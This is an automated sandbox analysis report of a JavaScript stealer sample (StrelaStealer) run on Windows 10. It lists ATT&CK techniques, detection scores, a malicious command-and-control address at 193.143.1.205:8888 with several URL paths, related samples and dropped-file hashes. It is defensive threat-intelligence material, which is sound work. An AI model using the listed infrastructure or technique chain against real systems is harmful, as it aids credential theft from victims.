Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
16981299741734811290.js	5%	Virustotal		Browse
16981299741734811290.js	5%	ReversingLabs	Script-JS.Trojan.StrelaStealer

Source	Detection	Scanner	Label
http://193.143.1.205:8888/CCHq	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/WC	0%	Avira URL Cloud	safe
http://193.143.1.205:8888//C$q	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/Prod/C:	edb.log.9.dr, qmgr.db.9.dr	false		high
http://crl.ver)	svchost.exe, 00000009.00000002.3356145545.000001F31560E000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
https://g.live.com/odclientsettings/ProdV2.C:	svchost.exe, 00000009.00000003.2138998043.000001F3153D0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	false		high
http://193.143.1.205:8888//C$q	net.exe, 00000007.00000003.2140779002.00000266759F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142325768.00000266759F4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/WC	net.exe, 00000007.00000003.2140779002.00000266759F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142325768.00000266759F4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/CCHq	net.exe, 00000007.00000003.2140779002.00000266759F4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2142325768.00000266759F4000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/pace	net.exe, 00000007.00000002.2142253271.00000266759B8000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2142325768.00000266759F4000.00000004.00000020.00020000.00000000.sdmp	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588294
Start date and time:	2025-01-10 23:37:23 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	15
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	16981299741734811290.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/53@3/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 52.22.41.97, 3.233.129.217, 52.6.155.20, 3.219.243.226, 172.64.41.3, 162.159.61.3, 184.28.90.27, 23.209.209.135, 2.16.168.107, 2.16.168.105, 13.107.246.45, 172.202.163.200, 23.217.172.185
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, ocsp.digicert.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
17:38:17	API Interceptor	28x Sleep call for process: powershell.exe modified
17:38:23	API Interceptor	1x Sleep call for process: net.exe modified
17:38:23	API Interceptor	2x Sleep call for process: svchost.exe modified
17:38:35	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	122388091976711996.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	8058323181786520440.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	26448249042746730897.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5250250172915227960.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	631311201545628497.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	215842497016059950.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	507722252877028578.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5545194012153110815.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	434027412290322097.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	32750305971799721630.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31554291391030831415.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.8307328011701814
Encrypted:	false
SSDEEP:	1536:gJhkM9gB0CnCm0CQ0CESJPB9JbJQfvcso0l1T4MfzzTi1FjIIXYvjbglQdmHDugB:gJjJGtpTq2yv1AuNZRY3diu8iBVqFb
MD5:	1FDDE81D5C5B276EB165DEAB7FC66450
SHA1:	51C300F35EDFD81F088C6FBDE9378302966CBD96
SHA-256:	1269DEC5DFDD26325D74098DA0988AD4BC023A2A9E5AF0C078F93D40E697819C
SHA-512:	85DACD059DA328013C7812DE4AB13993BE911C49F6F9F4DC6B5732682AFC7C8C8DA9F7AEC5DECEFEE48CD3678DD1516F3422490490DE5A384A9F43B47EFABE78
Malicious:	false
Preview:	...M........@..@.-...{5..;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@......................4..........E.[.rXrX.#.........`h.................h.5.......3.....X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage engine DataBase, version 0x620, checksum 0xfb590b65, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.6585752672196936
Encrypted:	false
SSDEEP:	1536:pSB2ESB2SSjlK/rv5rO1T1B0CZSJRYkr3g16P92UPkLk+kAwI/0uzn10M1Dn/di6:paza9v5hYe92UOHDnAPZ4PZf9h/9h
MD5:	CCA1B8AD2E7C07CF5D5F2A00231D011B
SHA1:	93AFAF372B9947241FB7CA2B2D8E48823470A417
SHA-256:	F45FD5840DCE2856BEF6697D937E56E0656924BD39163A0BBBE732415C515C54
SHA-512:	01FB54458B096E8EC58827BF656335F50D04807AB21B113C67C4072AC49B80A23BFB7E7324A45083F22D301D0E5E33C79F9D7BCB2C68CD645B7EC4FB57170FEF
Malicious:	false
Preview:	.Y.e... ...............X\...;...{......................0.z..........{...&...}..h.\|.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... ........-...{5..............................................................................................................................................................................................2...{.......................................&...}E.................$.3w.&...}...........................#......h.\|.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08116086528007932
Encrypted:	false
SSDEEP:	3:I6YeFvvZkbGuAJkhvekl1/yDw/illrekGltll/SPj:I6zFvYrxl//GJe3l
MD5:	E6F79A4DCC5196BB8215BA5DB4075471
SHA1:	A0CD13B2DA564C2B214EF6B115EEA3F8E54B07FF
SHA-256:	B367C10965811682D9124B8984AC35F20507871AFB0AAFE92E56B4AD2DB761CC
SHA-512:	CF1624E179294558ED97A28DDF00383B404F2A535CC3A4533630C6725170EAF9FB1FFED6D06DAA855C377E7BE0B78EDBE7594F5FF2453D134B0533BEA71FD3E1
Malicious:	false
Preview:	.........................................;...{...&...}.......{...............{.......{...XL......{..................$.3w.&...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.247451636851178
Encrypted:	false
SSDEEP:	6:iO4DfnRF34q2P92nKuAl9OmbnIFUtSDfJ3JZmwsDfJ3DkwO92nKuAl9OmbjLJ:7EfROv4HAahFUtCfJZ/YfJz5LHAaSJ
MD5:	42378EB92EEB2B545935969FA696618B
SHA1:	BF4385F67D40933EE87D13ECCCDE73307A2742FD
SHA-256:	1D08580E1AA6E95BDE867A385393F721ACC307EB0BF5B2B61B558C45CB8E0419
SHA-512:	F1841B48B83EA1B46EF9E95DBA2027F77CE0979393A3E5A32B5643923FC5F4159A0983BF30ED09415A5B24478A2DFB5DA85D3F2696CC3D256441941EF60A2C4B
Malicious:	false
Preview:	2025/01/10-17:38:23.368 1944 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:38:23.371 1944 Recovering log #3.2025/01/10-17:38:23.371 1944 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.247451636851178
Encrypted:	false
SSDEEP:	6:iO4DfnRF34q2P92nKuAl9OmbnIFUtSDfJ3JZmwsDfJ3DkwO92nKuAl9OmbjLJ:7EfROv4HAahFUtCfJZ/YfJz5LHAaSJ
MD5:	42378EB92EEB2B545935969FA696618B
SHA1:	BF4385F67D40933EE87D13ECCCDE73307A2742FD
SHA-256:	1D08580E1AA6E95BDE867A385393F721ACC307EB0BF5B2B61B558C45CB8E0419
SHA-512:	F1841B48B83EA1B46EF9E95DBA2027F77CE0979393A3E5A32B5643923FC5F4159A0983BF30ED09415A5B24478A2DFB5DA85D3F2696CC3D256441941EF60A2C4B
Malicious:	false
Preview:	2025/01/10-17:38:23.368 1944 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-17:38:23.371 1944 Recovering log #3.2025/01/10-17:38:23.371 1944 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.180989355266252
Encrypted:	false
SSDEEP:	6:iO4Dfvq2P92nKuAl9Ombzo2jMGIFUtSDfWZmwsDfqkwO92nKuAl9Ombzo2jMmLJ:7Efvv4HAa8uFUtCfW/Yfq5LHAa8RJ
MD5:	336EC24CBF6ABA52FE7783CA4F1CB476
SHA1:	BEBA0CDB693CDB6650C999B34539D3C8C29F687E
SHA-256:	9161206431F13EE0612AB8EB9D88F4FB7AB03A96A376055F026EE2CEEA18E72C
SHA-512:	DDE81C5FD5588428C0150F4741DB4FB634D4D9CDD916DEE766E75E6E78EFA71FA8CFD1C0E2DD0EEABA896352D6223343FC6EE4DB53AEF0B7DC7128B8C8762992
Malicious:	false
Preview:	2025/01/10-17:38:23.413 1c60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:38:23.417 1c60 Recovering log #3.2025/01/10-17:38:23.417 1c60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	338
Entropy (8bit):	5.180989355266252
Encrypted:	false
SSDEEP:	6:iO4Dfvq2P92nKuAl9Ombzo2jMGIFUtSDfWZmwsDfqkwO92nKuAl9Ombzo2jMmLJ:7Efvv4HAa8uFUtCfW/Yfq5LHAa8RJ
MD5:	336EC24CBF6ABA52FE7783CA4F1CB476
SHA1:	BEBA0CDB693CDB6650C999B34539D3C8C29F687E
SHA-256:	9161206431F13EE0612AB8EB9D88F4FB7AB03A96A376055F026EE2CEEA18E72C
SHA-512:	DDE81C5FD5588428C0150F4741DB4FB634D4D9CDD916DEE766E75E6E78EFA71FA8CFD1C0E2DD0EEABA896352D6223343FC6EE4DB53AEF0B7DC7128B8C8762992
Malicious:	false
Preview:	2025/01/10-17:38:23.413 1c60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-17:38:23.417 1c60 Recovering log #3.2025/01/10-17:38:23.417 1c60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\542d1e10-bc60-45af-9bfb-482cc6b0bad2.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	508
Entropy (8bit):	5.0591518504624045
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqH5sBdOg2H9Fgcaq3QYiubxnP7E4T3OF+:Y2sRdsrdMHDL3QYhbxP7nbI+
MD5:	CD7CF3C1314B3F9A412842E7DD07B54F
SHA1:	A3A3A820D3CF7A54486752A7664C26B9B8B211A4
SHA-256:	BC6BCB6D5BFAA7426765F72F42CE5311DC3589EA06A6B50A9AAF4A6A9171CACE
SHA-512:	9E3223C07309FAD89915E85545205B66DBE7C940809DCD4BCAE4CCBDE0205D1846CD54B769C1583557BBD53D23F9CBC789BF95FD4664993E044C4476CBE238DF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381108715648597","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":167277},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	508
Entropy (8bit):	5.0591518504624045
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqH5sBdOg2H9Fgcaq3QYiubxnP7E4T3OF+:Y2sRdsrdMHDL3QYhbxP7nbI+
MD5:	CD7CF3C1314B3F9A412842E7DD07B54F
SHA1:	A3A3A820D3CF7A54486752A7664C26B9B8B211A4
SHA-256:	BC6BCB6D5BFAA7426765F72F42CE5311DC3589EA06A6B50A9AAF4A6A9171CACE
SHA-512:	9E3223C07309FAD89915E85545205B66DBE7C940809DCD4BCAE4CCBDE0205D1846CD54B769C1583557BBD53D23F9CBC789BF95FD4664993E044C4476CBE238DF
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381108715648597","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":167277},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.5","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G","CAYSABiAgICA+P////8B":"Offline"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	4099
Entropy (8bit):	5.240126834815872
Encrypted:	false
SSDEEP:	96:QqBpCqGp3Al+NehBmkID2w6bNMhugoKTNY+No/KTNcygLPGLLUPMD8lRG45hQ:rBpJGp3AoqBmki25ZEVoKTNY+NoCTNL/
MD5:	19ECE228062A0376F3EF115ABF265D6C
SHA1:	CC227E9AAB53ACEC21A75DFF6DDD1CFFC7AEF76A
SHA-256:	0948C78C19D1C50AB9D93B767BFF795E219A2070DC890A88A0FD06357E358ECA
SHA-512:	13CB9F759AE8F35C13C1DC6C013171F95428EAB3B128024DB0C8AFC520FDA34F9CC3D2F60C385A31C69A5AB048667DBA09B7E09A7E3D3CE991728EAD2140D818
Malicious:	false
Preview:	*...#................version.1..namespace-.1a.o................next-map-id.1.Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/.0.K..r................next-map-id.2.Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/.1.m.Fr................next-map-id.3.Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.2.8.o................next-map-id.4.Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/.3.A-N^...............Pnamespace-047a745d_5c98_4926_b446_942fb948d072-https://rna-resource.acrobat.com/-j..^...............Pnamespace-bc60f291_faa7_4492_8b22_e186b4ce62c1-https://rna-resource.acrobat.com/[.\|.a...............Snamespace-bdf2fbfe_e08b_407d_8a81_9a6094e373a0-https://rna-v2-resource.acrobat.com/....a...............Snamespace-24b9c7f4_3e31_4d11_a607_ac91d6485c9e-https://rna-v2-resource.acrobat.com/.W.@o................next-map-id.5.Pnamespace-8fb46ac3_c992_47ca_bb04_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.18231302731384
Encrypted:	false
SSDEEP:	6:iO4Df0JZOq2P92nKuAl9OmbzNMxIFUtSDft9ZmwsDfcUzkwO92nKuAl9OmbzNMFd:7Ef8ZOv4HAa8jFUtCff/Yfrz5LHAa84J
MD5:	82EC59DDC32FF713B091A184039C9F82
SHA1:	18587D49E37020C0F8C154CC331F04F65ED723C9
SHA-256:	7550A044E7137538FF149C12A89B5C98ABA70C0C9CA0D328362D11DF9B09BCB4
SHA-512:	0AFA2752D6BDB76BBCD311CD3B4F49ABC0030DFBDABC174A08FD1FB4FB7A7F324583141A69245AE51870787EFB486580D86FACF0DFDED0905F9EA771484BCC0E
Malicious:	false
Preview:	2025/01/10-17:38:23.750 1c60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:38:23.775 1c60 Recovering log #3.2025/01/10-17:38:23.786 1c60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	326
Entropy (8bit):	5.18231302731384
Encrypted:	false
SSDEEP:	6:iO4Df0JZOq2P92nKuAl9OmbzNMxIFUtSDft9ZmwsDfcUzkwO92nKuAl9OmbzNMFd:7Ef8ZOv4HAa8jFUtCff/Yfrz5LHAa84J
MD5:	82EC59DDC32FF713B091A184039C9F82
SHA1:	18587D49E37020C0F8C154CC331F04F65ED723C9
SHA-256:	7550A044E7137538FF149C12A89B5C98ABA70C0C9CA0D328362D11DF9B09BCB4
SHA-512:	0AFA2752D6BDB76BBCD311CD3B4F49ABC0030DFBDABC174A08FD1FB4FB7A7F324583141A69245AE51870787EFB486580D86FACF0DFDED0905F9EA771484BCC0E
Malicious:	false
Preview:	2025/01/10-17:38:23.750 1c60 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-17:38:23.775 1c60 Recovering log #3.2025/01/10-17:38:23.786 1c60 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7425532007658724
Encrypted:	false
SSDEEP:	3:kkFklwNsPtfllXlE/HT8k+bJtNNX8RolJuRdxLlGB9lQRYwpDdt:kKpaeT8dNMa8RdWBwRd
MD5:	643D0497CDC930699E5628862FA7B997
SHA1:	3B06B09D65D65C983E5FE4CEB77D196C05C98819
SHA-256:	ACC8AEEAB397EBC5F6A4DCE3EA2FC37205238EF043E79E1198C55114D18AF36D
SHA-512:	5D92DD5CF0836DF11863A950DCC295EC0D23BCB3FECE290E82A246FE6F6BF60FA5C134A74DA5C56F5ABD28E4E48BC9620529615BFA68F5F17874ED04CA154BD2
Malicious:	false
Preview:	p...... ..........b.c..(....................................................... ..........W....................o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
